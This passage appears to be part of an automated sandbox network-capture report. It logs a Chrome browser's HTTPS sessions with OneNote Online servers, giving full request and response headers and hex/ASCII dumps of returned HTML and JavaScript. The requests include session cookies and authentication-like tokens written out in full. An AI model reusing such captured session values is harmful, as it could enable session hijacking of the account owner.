(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS11 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBoot Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-10-25 08:19:00 UTC	1021	IN	HTTP/1.1 200 OK Cache-Control: public,max-age=31536000 Content-Length: 4212 Content-Type: text/html Last-Modified: Mon, 22 Jul 2024 04:53:37 GMT Accept-Ranges: bytes ETag: "a4b691df3dbda1:0" P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 3df94efd-740d-4fbf-ac07-db370365999c X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C96 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true X-OFFICEFD: SN3PEPF00017C96 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 55D6D08EAB734C33907009549BBF0BBA Ref B: DFW311000102051 Ref C: 2024-10-25T08:19:00Z Date: Fri, 25 Oct 2024 08:18:59 GMT Connection: close
2024-10-25 08:19:00 UTC	999	IN	Data Raw: ef bb bf 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title></tit
2024-10-25 08:19:00 UTC	3213	IN	Data Raw: 6d 65 3a 20 44 61 74 65 2e 6e 6f 77 28 29 2c 20 56 61 6c 75 65 73 3a 20 7b 20 45 72 72 6f 72 3a 20 7b 20 65 72 72 6f 72 54 79 70 65 3a 20 35 32 34 33 32 35 33 20 7d 20 7d 2c 20 7d 3b 20 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 6d 65 73 73 61 67 65 29 20 2c 20 22 2a 22 20 29 3b 20 7d 20 7d 20 63 61 74 63 68 20 28 65 29 20 7b 20 7d 20 7d 20 66 75 6e 63 74 69 6f 6e 20 67 65 74 42 72 6f 77 73 65 72 4c 61 6e 67 75 61 67 65 28 29 20 7b 20 69 66 20 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 4c 61 6e 67 75 61 67 65 29 20 6c 61 6e 67 75 61 67 65 20 3d 20 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 4c 61 6e 67 75 61 67 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 20 65 6c 73 65 Data Ascii: me: Date.now(), Values: { Error: { errorType: 5243253 } }, }; window.parent.postMessage( JSON.stringify(message) , "*" ); } } catch (e) { } } function getBrowserLanguage() { if (navigator.userLanguage) language = navigator.userLanguage.toLowerCase(); else

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49825	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:59 UTC	607	OUT	GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:00 UTC	4585	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: e5d1cc57-0049-4199-b2b4-e1c128d6da21 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C85 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5a&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C85 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3_control,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wordslice_control,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3_control,afd_excelslicetest X-MSEdge-Ref: Ref A: E17070DFBE0C4752B1988B2711763932 Ref B: DFW311000102045 Ref C: 2024-10-25T08:19:00Z Date: Fri, 25 Oct 2024 08:19:00 GMT Connection: close
2024-10-25 08:19:00 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49840	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:01 UTC	565	OUT	GET /o/error/error.html?aspxerrorpath=/o/null&DataUrlEnabled=true HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:02 UTC	1021	IN	HTTP/1.1 200 OK Cache-Control: public,max-age=31536000 Content-Length: 4212 Content-Type: text/html Last-Modified: Mon, 22 Jul 2024 04:53:37 GMT Accept-Ranges: bytes ETag: "a4b691df3dbda1:0" P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 95a080f2-cb76-4b12-8632-219710eb195a X-UserSessionId: 95a080f2-cb76-4b12-8632-219710eb195a Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C9A X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true X-OFFICEFD: SN3PEPF00017C9A X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 3B3703C7A1FA4ADDAFAF75CBDF5A89F2 Ref B: DFW311000106033 Ref C: 2024-10-25T08:19:02Z Date: Fri, 25 Oct 2024 08:19:01 GMT Connection: close
2024-10-25 08:19:02 UTC	3253	IN	Data Raw: ef bb bf 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title></tit
2024-10-25 08:19:02 UTC	959	IN	Data Raw: 58 77 30 54 45 2b 68 46 32 33 34 65 2b 46 7a 4c 7a 4d 55 48 4a 2f 66 48 2f 6a 58 44 6e 70 45 61 34 6c 72 45 53 76 71 55 63 49 34 7a 61 30 48 6b 53 56 7a 49 76 49 4e 7a 2f 59 4c 72 31 54 77 77 4d 50 31 6f 78 4a 57 6f 6b 31 34 52 34 61 4a 32 52 73 56 45 6a 45 6a 75 4c 64 6c 37 4f 52 65 39 36 6f 37 48 78 59 76 6e 6f 71 39 73 41 79 78 70 7a 59 6c 46 69 72 2b 34 44 35 4b 4b 61 51 6a 50 30 59 79 62 35 58 4a 79 41 50 6e 65 56 72 70 32 75 36 4a 34 43 35 30 4d 48 6b 6c 65 63 65 6d 78 37 4b 37 71 39 71 4d 4d 53 32 30 2b 61 7a 36 52 77 62 38 39 6a 56 63 7a 72 30 65 4e 57 39 4c 36 77 78 35 48 4d 79 78 69 36 59 52 6b 43 69 4c 64 6b 6a 37 44 6b 69 59 37 6f 4c 78 73 47 39 6b 67 56 69 41 52 6a 4d 53 32 6b 67 46 41 37 75 74 54 77 73 4e 4f 48 75 57 4a 47 6d 53 61 43 33 2f Data Ascii: Xw0TE+hF234e+FzLzMUHJ/fH/jXDnpEa4lrESvqUcI4za0HkSVzIvINz/YLr1TwwMP1oxJWok14R4aJ2RsVEjEjuLdl7ORe96o7HxYvnoq9sAyxpzYlFir+4D5KKaQjP0Yyb5XJyAPneVrp2u6J4C50MHklecemx7K7q9qMMS20+az6Rwb89jVczr0eNW9L6wx5HMyxi6YRkCiLdkj7DkiY7oLxsG9kgViARjMS2kgFA7utTwsNOHuWJGmSaC3/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49869	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:05 UTC	1512	OUT	GET /o/App_Scripts/Acl/Acl1033.js HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBoot Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-10-25 08:19:05 UTC	1067	IN	HTTP/1.1 200 OK Cache-Control: public,max-age=31536000 Content-Length: 19181 Content-Type: application/javascript Last-Modified: Tue, 17 Sep 2024 19:27:22 GMT Accept-Ranges: bytes ETag: "b39a929e379db1:0" P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 6fb3f68c-d5b7-492b-b215-5ce9fd8dec74 X-UserSessionId: 6fb3f68c-d5b7-492b-b215-5ce9fd8dec74 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DM3PEPF0001570B X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS1 X-Partitioning-Enabled: true X-OFFICEFD: DM3PEPF0001570B X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_pptcapacity_2,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: C5E5B0C96C8143258DD51A57EE10AE6F Ref B: DFW311000107025 Ref C: 2024-10-25T08:19:05Z Date: Fri, 25 Oct 2024 08:19:04 GMT Connection: close
2024-10-25 08:19:05 UTC	2016	IN	Data Raw: ef bb bf 76 61 72 20 41 75 74 6f 43 6f 72 72 65 63 74 4c 69 73 74 3d 7b 22 28 63 29 22 3a 22 c2 a9 22 2c 22 28 72 29 22 3a 22 c2 ae 22 2c 22 28 74 6d 29 22 3a 22 e2 84 a2 22 2c 22 2e 2e 2e 22 3a 22 e2 80 a6 22 2c 22 61 62 62 6f 75 74 22 3a 22 61 62 6f 75 74 22 2c 22 61 62 6f 74 75 22 3a 22 61 62 6f 75 74 22 2c 22 61 62 6f 75 74 61 22 3a 22 61 62 6f 75 74 20 61 22 2c 22 61 62 6f 75 74 69 74 22 3a 22 61 62 6f 75 74 20 69 74 22 2c 22 61 62 6f 75 74 74 68 65 22 3a 22 61 62 6f 75 74 20 74 68 65 22 2c 22 61 62 73 63 65 6e 63 65 22 3a 22 61 62 73 65 6e 63 65 22 2c 22 61 63 63 65 73 6f 72 69 65 73 22 3a 22 61 63 63 65 73 73 6f 72 69 65 73 22 2c 22 61 63 63 69 64 61 6e 74 22 3a 22 61 63 63 69 64 65 6e 74 22 2c 22 61 63 63 6f 6d 6f 64 61 74 65 22 3a 22 61 63 63 6f Data Ascii: var AutoCorrectList={"(c)":"","(r)":"","(tm)":"","...":"","abbout":"about","abotu":"about","abouta":"about a","aboutit":"about it","aboutthe":"about the","abscence":"absence","accesories":"accessories","accidant":"accident","accomodate":"acco
2024-10-25 08:19:05 UTC	8192	IN	Data Raw: 77 79 61 22 3a 22 61 77 61 79 22 2c 22 61 79 77 61 22 3a 22 61 77 61 79 22 2c 22 62 61 6b 63 22 3a 22 62 61 63 6b 22 2c 22 62 61 6c 65 6e 63 65 22 3a 22 62 61 6c 61 6e 63 65 22 2c 22 62 61 6c 6c 61 6e 63 65 22 3a 22 62 61 6c 61 6e 63 65 22 2c 22 62 61 6f 75 74 22 3a 22 61 62 6f 75 74 22 2c 22 62 63 61 6b 22 3a 22 62 61 63 6b 22 2c 22 62 65 61 63 75 73 65 22 3a 22 62 65 63 61 75 73 65 22 2c 22 62 65 63 61 73 75 65 22 3a 22 62 65 63 61 75 73 65 22 2c 22 62 65 63 61 75 73 22 3a 22 62 65 63 61 75 73 65 22 2c 22 62 65 63 61 75 73 65 61 22 3a 22 62 65 63 61 75 73 65 20 61 22 2c 22 62 65 63 61 75 73 65 6f 66 22 3a 22 62 65 63 61 75 73 65 20 6f 66 22 2c 22 62 65 63 61 75 73 65 74 68 65 22 3a 22 62 65 63 61 75 73 65 20 74 68 65 22 2c 22 62 65 63 61 75 73 65 79 6f Data Ascii: wya":"away","aywa":"away","bakc":"back","balence":"balance","ballance":"balance","baout":"about","bcak":"back","beacuse":"because","becasue":"because","becaus":"because","becausea":"because a","becauseof":"because of","becausethe":"because the","becauseyo
2024-10-25 08:19:05 UTC	5442	IN	Data Raw: 6b 6f 6e 77 22 3a 22 6b 6e 6f 77 22 2c 22 6b 6f 6e 77 6e 22 3a 22 6b 6e 6f 77 6e 22 2c 22 6b 6f 6e 77 73 22 3a 22 6b 6e 6f 77 73 22 2c 22 6c 61 62 72 61 74 6f 72 79 22 3a 22 6c 61 62 6f 72 61 74 6f 72 79 22 2c 22 6c 61 73 74 79 65 61 72 22 3a 22 6c 61 73 74 20 79 65 61 72 22 2c 22 6c 65 61 72 6e 69 67 6e 22 3a 22 6c 65 61 72 6e 69 6e 67 22 2c 22 6c 65 6e 67 68 74 22 3a 22 6c 65 6e 67 74 68 22 2c 22 6c 65 74 27 73 20 68 69 6d 22 3a 22 6c 65 74 73 20 68 69 6d 22 2c 22 6c 65 74 27 73 20 69 74 22 3a 22 6c 65 74 73 20 69 74 22 2c 22 6c 65 74 3b 73 22 3a 22 6c 65 74 e2 80 99 73 22 2c 22 6c 65 76 6c 65 22 3a 22 6c 65 76 65 6c 22 2c 22 6c 69 62 61 72 79 22 3a 22 6c 69 62 72 61 72 79 22 2c 22 6c 69 62 72 61 72 72 79 22 3a 22 6c 69 62 72 61 72 79 22 2c 22 6c 69 62 Data Ascii: konw":"know","konwn":"known","konws":"knows","labratory":"laboratory","lastyear":"last year","learnign":"learning","lenght":"length","let's him":"lets him","let's it":"lets it","let;s":"lets","levle":"level","libary":"library","librarry":"library","lib
2024-10-25 08:19:05 UTC	3531	IN	Data Raw: 73 75 63 63 65 73 73 66 75 6c 22 2c 22 73 75 66 66 69 63 69 61 6e 74 22 3a 22 73 75 66 66 69 63 69 65 6e 74 22 2c 22 73 75 70 6f 73 65 64 22 3a 22 73 75 70 70 6f 73 65 64 22 2c 22 73 75 70 70 6f 73 73 65 64 22 3a 22 73 75 70 70 6f 73 65 64 22 2c 22 73 75 70 72 69 73 65 22 3a 22 73 75 72 70 72 69 73 65 22 2c 22 73 75 70 72 69 73 65 64 22 3a 22 73 75 72 70 72 69 73 65 64 22 2c 22 73 77 69 6d 69 6e 67 22 3a 22 73 77 69 6d 6d 69 6e 67 22 2c 22 74 61 68 6e 22 3a 22 74 68 61 6e 22 2c 22 74 61 68 74 22 3a 22 74 68 61 74 22 2c 22 74 61 6c 65 6b 64 22 3a 22 74 61 6c 6b 65 64 22 2c 22 74 61 6c 6b 69 67 6e 22 3a 22 74 61 6c 6b 69 6e 67 22 2c 22 74 61 74 68 22 3a 22 74 68 61 74 22 2c 22 74 65 63 6e 69 63 61 6c 22 3a 22 74 65 63 68 6e 69 63 61 6c 22 2c 22 74 65 68 22 Data Ascii: successful","sufficiant":"sufficient","suposed":"supposed","suppossed":"supposed","suprise":"surprise","suprised":"surprised","swiming":"swimming","tahn":"than","taht":"that","talekd":"talked","talkign":"talking","tath":"that","tecnical":"technical","teh"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49878	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:06 UTC	533	OUT	GET /o/App_Scripts/Acl/Acl1033.js HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:19:06 UTC	1034	IN	HTTP/1.1 200 OK Cache-Control: public,max-age=31536000 Content-Length: 19181 Content-Type: application/javascript Last-Modified: Tue, 17 Sep 2024 19:27:22 GMT Accept-Ranges: bytes ETag: "b39a929e379db1:0" P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 02080c37-956f-4461-afb6-e19d7de90d54 X-UserSessionId: 02080c37-956f-4461-afb6-e19d7de90d54 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091C6 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-OFFICEFD: SN3PEPF000091C6 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 63AEECC8501A4DC3970417AB5720F64F Ref B: DFW311000106033 Ref C: 2024-10-25T08:19:06Z Date: Fri, 25 Oct 2024 08:19:06 GMT Connection: close
2024-10-25 08:19:06 UTC	69	IN	Data Raw: ef bb bf 76 61 72 20 41 75 74 6f 43 6f 72 72 65 63 74 4c 69 73 74 3d 7b 22 28 63 29 22 3a 22 c2 a9 22 2c 22 28 72 29 22 3a 22 c2 ae 22 2c 22 28 74 6d 29 22 3a 22 e2 84 a2 22 2c 22 2e 2e 2e 22 3a 22 e2 80 a6 Data Ascii: var AutoCorrectList={"(c)":"","(r)":"","(tm)":"","...":"
2024-10-25 08:19:06 UTC	8192	IN	Data Raw: 22 2c 22 61 62 62 6f 75 74 22 3a 22 61 62 6f 75 74 22 2c 22 61 62 6f 74 75 22 3a 22 61 62 6f 75 74 22 2c 22 61 62 6f 75 74 61 22 3a 22 61 62 6f 75 74 20 61 22 2c 22 61 62 6f 75 74 69 74 22 3a 22 61 62 6f 75 74 20 69 74 22 2c 22 61 62 6f 75 74 74 68 65 22 3a 22 61 62 6f 75 74 20 74 68 65 22 2c 22 61 62 73 63 65 6e 63 65 22 3a 22 61 62 73 65 6e 63 65 22 2c 22 61 63 63 65 73 6f 72 69 65 73 22 3a 22 61 63 63 65 73 73 6f 72 69 65 73 22 2c 22 61 63 63 69 64 61 6e 74 22 3a 22 61 63 63 69 64 65 6e 74 22 2c 22 61 63 63 6f 6d 6f 64 61 74 65 22 3a 22 61 63 63 6f 6d 6d 6f 64 61 74 65 22 2c 22 61 63 63 6f 72 64 69 6e 67 74 6f 22 3a 22 61 63 63 6f 72 64 69 6e 67 20 74 6f 22 2c 22 61 63 63 72 6f 73 73 22 3a 22 61 63 72 6f 73 73 22 2c 22 61 63 68 65 69 76 65 